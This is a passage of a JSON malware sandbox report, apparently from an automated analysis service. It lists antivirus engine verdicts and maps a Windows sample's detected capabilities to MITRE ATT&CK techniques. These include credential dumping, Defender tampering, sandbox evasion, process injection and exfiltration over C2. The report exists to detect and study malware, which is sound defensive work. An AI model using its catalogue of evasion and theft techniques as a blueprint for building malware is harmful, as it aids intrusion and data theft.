eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_70%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","identifiers":[{"type":"suspicious","value":"PE file has no resource directory"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Executes WMI queries to gather system information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"malicious","value":"Executes WMI queries in order to detect local security applications"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\", YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-44","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Pattern 